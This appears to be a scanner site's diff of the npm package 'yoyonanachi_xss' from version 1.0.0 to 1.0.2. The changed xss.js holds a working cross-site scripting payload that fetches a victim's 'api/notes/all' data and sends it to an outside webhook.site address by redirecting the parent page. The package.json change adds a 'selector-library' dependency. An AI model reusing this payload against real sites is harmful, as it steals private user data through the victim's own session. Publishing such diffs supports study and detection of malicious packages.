yoyonanachi_xss 1.0.0 → 1.0.2
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +5 -2
- package/xss.js +1 -1
package/package.json
CHANGED
@@ -1,11 +1,14 @@
|
|
1
1
|
{
|
2
2
|
"name": "yoyonanachi_xss",
|
3
|
-
"version": "1.0.
|
3
|
+
"version": "1.0.2",
|
4
4
|
"description": "",
|
5
5
|
"main": "xss.js",
|
6
6
|
"scripts": {
|
7
7
|
"test": "echo \"Error: no test specified\" && exit 1"
|
8
8
|
},
|
9
9
|
"author": "",
|
10
|
-
"license": "ISC"
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"selector-library": "^1.0.6"
|
13
|
+
}
|
11
14
|
}
|
package/xss.js
CHANGED
@@ -1,3 +1,3 @@
|
|
1
1
|
function xss(){
|
2
|
-
fetch(`api/notes/all`).then(res => res.json()).then(data =>
|
2
|
+
fetch(`api/notes/all`).then(res => res.json()).then(data => parent.document.location=`https://webhook.site/5f10e934-1859-4cb9-bd9f-842933dd302d?`+JSON.stringify(data));
|
3
3
|
}
|